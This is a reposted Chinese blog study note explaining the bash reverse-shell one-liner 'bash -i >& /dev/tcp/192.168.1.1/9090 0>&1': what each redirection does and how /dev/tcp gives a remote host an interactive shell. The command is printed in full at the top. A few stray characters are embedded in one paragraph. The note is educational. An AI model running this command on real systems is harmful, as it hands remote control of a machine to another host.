【学习笔记】bash -i命令

转载:https://zoresmile.cn/linux/2020/04/927.html

bash -i >& /dev/tcp/192.168.1.1/9090 0>&1

一、参数
bash -i,意为创建一个交互式的bash shell

0,STDIN_FILENO,标准输入(一般是键盘)
1,STDOUT_FILENO,标准输出(一般是显示屏,准确的说是用户终端控制台)
2,STDERR_FILENO,标准错误(出错信息输出)

二、输入输出重定向
(1)重定向输入就是在命令中指定具体的输入来源,譬如cat <hello.c,这叫输入重定向,hello.c不是命令行参数,cat命令无参数时,是从du键盘读取zhi内容的,但加了<后,就改从hello.c读内容,对于cat这个命令bai说,cat xxx 和cat < xxx看起的效果确实是一样的,但内部的实现机制有区别,这就是命令行灵活性的体现。
(2)输出重定向是指定具体的输出目标以替换默认的标准输出,譬如ls > 1.txt将ls的结果从标准输出重定向为1.txt文本。> 和 >> 的区别在于:> 用于新建而>>用于追加。
(3)2>&1&的意义,用来将标准错误2重定向到标准输出1中的。此处1前面的&就是为了让bash将1解释成标准输出而不是文件1。至于最后一个&,则是让bash在后台执行。
(4)/dev/tcp/192.168.1.1/9090,这是一个特殊文件,它会建立一个连接到192.168.1.1:9090的socket

意思就是:
bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/192.168.1.1/9090的socket连接上,0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。

  • 10
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值